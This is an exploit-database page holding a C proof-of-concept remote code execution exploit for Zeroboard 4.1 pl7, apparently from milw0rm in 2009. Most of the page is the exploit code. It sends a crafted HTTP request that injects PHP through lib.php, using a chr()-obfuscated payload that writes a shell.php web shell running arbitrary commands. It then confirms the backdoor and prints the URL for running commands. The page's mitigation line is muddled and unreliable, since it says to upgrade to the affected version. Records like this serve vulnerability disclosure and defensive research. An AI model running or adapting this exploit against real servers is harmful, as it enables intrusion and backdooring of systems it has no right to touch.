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Suggest Exploit
vendor:
Zeroboard
by:
kyoungchip, jang
9,3
CVSS
HIGH
Remote Code Execution
78
CWE
Product Name: Zeroboard
Affected Version From: 4.1 pl7
Affected Version To: 4.1 pl7
Patch Exists: Yes
Related CWE: N/A
CPE: a:xpressengine:zeroboard:4.1
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2020

Zeroboard 4.1 pl7 Remote Nobody Exploit

This exploit is for Zeroboard 4.1 pl7 which is vulnerable to a Remote Code Execution vulnerability. The exploit is triggered by sending a specially crafted HTTP request to the vulnerable server. This request contains malicious code which is then executed on the server, allowing the attacker to gain access to the server.

Mitigation:

The best way to mitigate this vulnerability is to upgrade to the latest version of Zeroboard 4.1 pl7. Additionally, administrators should ensure that all web applications are kept up to date with the latest security patches.
Source

Exploit-DB raw data:

/*
poc by  kyoungchip,jang
email : SpeeDr00t1004@gmail.com
 
[*] the bug 
- http://www.xpressengine.com/15955761
 
Application 
- Zeroboard 4.1 pl7 
 
Reference: 
- http://www.nzeo.com 
- Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada 

 
[*] Target - My test server 
 
$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test 
- Target :  http://xxx.xxx.xxx/zboard/bbs/shell.php?cmd=ls 


 
[+] xxx.xxx.xxx connecting ok! 
 [+] Exploiting zeroboard start  - [+] Exploiting success!!
 [*] Create Backdoor Start - [+] Create Backdoor  success!!
 [*] Confirmming your backdoor php script - http://192.168.179.6/zeroboard/zb41pl7/bbs/data/shell.php is generated!
 [+] Exploiting success!!
 - http://192.168.179.6/zeroboard/bbs/data/shell.php?cmd=ls [+] Execute the websehll script  

*/


#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>


#define BUFSIZE 4096
#define READSIZE 1500
#define EXPLOIT_CODE "*/fputs(fopen(chr(46).chr(47).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(63).chr(62));/*&HTTP_SESSION_VARS[zb_last_connect_check]=a&HTTP_SERVER_VARS=1&HTTP_ENV_VARS=1"


void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void CreateBackdoor(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];



int 
main(int argc, char *argv[])
{

        char *szArgv;
        switch( argc )
        {
        case 1 :
                Usage(argv[0]);      
                break;
        case 2 :
                zb_port = 80;
                //szArgv = "http://192.168.179.6/zeroboard/zb41pl7/bbs/zboard.php?id=test";
                ParseZbHost( szArgv );
                break;

        case 3:
                zb_port = atoi(argv[2]); 
                ParseZbHost(argv[1]);
                        
                break;
        default:
        
                break;
        };

        ConnectZboard(zb_host, zb_port);
        ExploitZboard();
        CreateBackdoor();
        ConfirmPHPScript();
}

void 
ParseZbHost( char *zbhost )
{
        char *psbuf;
        char *sptr=NULL;
        char *eptr=NULL;

        psbuf = ( char* )malloc( strlen( zbhost ) + 1 );

        strcpy( psbuf, zbhost );

        if( (sptr = strstr( psbuf , "http://" ) ) == NULL) 
                OutputErr("http://host need\n", 0);


        zb_host = sptr + 7;

        sptr = strchr(zb_host, '/');
        sptr[0] = '\0';
        sptr++;


        if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) 
                        OutputErr("\"zboard.php?id=\"need\n", 0);

        zb_tid = eptr+14;

        eptr--;
        eptr[0] = '\0';

        zb_dir = sptr;

        char szOut[1024];
        memset( szOut , 0x00 , sizeof( szOut ) );
        sprintf( szOut , " - Target : http://%s/%s/zboard.php?id=%s\n", zb_host, zb_dir, zb_tid);
}


void 
ConnectZboard( char *server , unsigned short port )
{

        struct sockaddr_in serv; 
        struct hostent *hostname;

        if( !( hostname = gethostbyname( server ) ) ) 
           printf(" \nhostname = %s\n", hostname );

        if( (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) 
           printf(" \n socket error ");

        memset(&serv, 0, sizeof(serv));
        serv.sin_family = AF_INET;
        serv.sin_port = htons(port);
        serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);


        if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
        {
            printf("\n not connect");
        }

        if(!reconn) 
        {
        }
        else if(reconn == 1) 
        {
        }
        reconn = 0;

}


void 
ExploitZboard(void)
{  

        fd_set fds;
        struct timeval tv;

        if(reconn == 1) ConnectZboard(zb_host, zb_port); 

        memset(WriteBuf, 0, sizeof(WriteBuf));


        sprintf(WriteBuf,"GET http://%s/%s/lib.php?REMOTE_ADDR=" , zb_host,zb_dir); 

        sprintf(WriteBuf+strlen(WriteBuf),
        "%s HTTP/1.1\r\n"
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
        "Host: %s\r\n"
        "Connection: Keep-Alive\r\n"
        "\r\n",EXPLOIT_CODE, zb_host);


        fprintf(stdout, " [+] Exploiting zeroboard start ");
        fflush(stdout);

        if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

        tv.tv_sec = 60;
        tv.tv_usec = 0;


        FD_ZERO(&fds);

        for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
        if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


        if(strstr(ReadBuf, "HTTP/1.1 ")){
        if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

        if(strstr(ReadBuf+9, "200 OK\r\n")) { 
        fprintf(stdout," - [+] Exploiting success!!\n", zb_host, zb_dir, zb_tid);
        fflush(stdout);
        return;
        }
        else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
        OutputErr(" - zeroboard was patched.\n"
        " [-] Exploit failed!\n", 0);
        }
        else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
        OutputErr(" - Bad Request\n"
        " [-] Exploit failed!\n", 0);
        }
        else {
        OutputErr(ReadBuf, 0);
        }
        }


        }
        }

        fprintf(stderr," error!\n");
}


void 
CreateBackdoor(void)
{  

        fd_set fds;
        struct timeval tv;

        if(reconn == 1) ConnectZboard(zb_host, zb_port); 

        memset(WriteBuf, 0, sizeof(WriteBuf));

        sprintf(WriteBuf,
        "GET http://%s/%s/data/now_connect.php HTTP/1.1\r\n"
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
        "Host: %s\r\n"
        "Connection: Keep-Alive\r\n"
        "\r\n", zb_host,zb_dir, zb_host);

        fprintf(stdout, " [*] Create Backdoor Start");
        fflush(stdout);

        if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

        tv.tv_sec = 60;
        tv.tv_usec = 0;


        FD_ZERO(&fds);

        for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
        if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


        if(strstr(ReadBuf, "HTTP/1.1 ")){
        if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

        if(strstr(ReadBuf+9, "200 OK\r\n")) { 
        fprintf(stdout," - [+] Create Backdoor  success!!\n", zb_host, zb_dir, zb_tid);
        fflush(stdout);
        return;
        }
        else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
        OutputErr(" zeroboard was patched.\n"
        " [-] Exploit failed!\n", 0);
        }
        else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
        OutputErr(" - Bad Request\n"
        " [-] Exploit failed!\n", 0);
        }
        else {
        OutputErr(ReadBuf, 0);
        }
        }


        }
        }

        fprintf(stderr," error!\n");
}

void 
ConfirmPHPScript(void)
{  

        fd_set fds;
        struct timeval tv;

        if(reconn == 1) ConnectZboard(zb_host, zb_port); 

        memset(WriteBuf, 0, sizeof(WriteBuf));

        sprintf(WriteBuf,
        "GET http://%s/%s/data/shell.php HTTP/1.1\r\n"
        "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,application/x-shockwave-flash, application/vnd.ms-excel,application/vnd.ms-powerpoint, application/msword, */*\r\n"
        "Accept-Encoding: gzip, deflate\r\n"
        "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n"
        "Host: %s\r\n"
        "Connection: Keep-Alive\r\n"
        "\r\n", zb_host,zb_dir, zb_host);


        fprintf(stdout, " [*] Confirmming your backdoor php script");
        fflush(stdout);

        if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

        tv.tv_sec = 60;
        tv.tv_usec = 0;


        FD_ZERO(&fds);

        for(;;){
        memset(ReadBuf, 0, sizeof(ReadBuf));

        FD_SET(sockfd, &fds);
        if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
        if(FD_ISSET(sockfd, &fds)){
        if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


        if(strstr(ReadBuf, "HTTP/1.1 ")){
        if(strstr(ReadBuf,"Connection: close\r\n")) reconn = 1;

        if(strstr(ReadBuf+9, "200 OK\r\n")) { 
        fprintf(stdout," - http://%s/%s/data/shell.php is generated!\n [+] Exploiting success!!\n", zb_host, zb_dir);
        fprintf(stdout," - http://%s/%s/data/shell.php?cmd=ls [+] Execute the websehll script  \n", zb_host, zb_dir);
        fflush(stdout);
        return;
        }
        else if(strstr(ReadBuf+9, "404 Not Found\r\n")){
        OutputErr(" - zeroboard was patched.\n"
        " [-] Exploit failed!\n", 0);
        }
        else if(strstr(ReadBuf+9, "400 Bad Request\r\n")){
        OutputErr(" - Bad Request\n"
        " [-] Exploit failed!\n", 0);
        }
        else {
        OutputErr(ReadBuf, 0);
        }
        }


        }
        }

        fprintf(stderr," error!\n");
}



void 
StatusProcess(void)
{

        putchar('.');
        fflush(stdout);
}


void 
OutputErr(char *msg, int type)
{

        if(!type)
        {
                fprintf(stderr,"%s", msg);
                fflush(stderr);
        }
        else if(type==1)
        {
                if(!strcmp(msg, zb_host)) 
                {
                        herror(msg);
                }
                else 
                {
                        perror(msg);
                }
        }

        exit(1);
}

void 
Usage(char *arg)
{ 
        fprintf(stderr,"[*] Zeroboard now_connect() vulnerability Remote code execution  exploit by SpeeDr00t\n"); 
        fprintf(stderr,"--------------------------------------------------------------------------\n");
        fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80] \n", arg);
        fprintf(stderr,"--------------------------------------------------------------------------\n");

        exit(1);
}

// milw0rm.com [2009-09-04]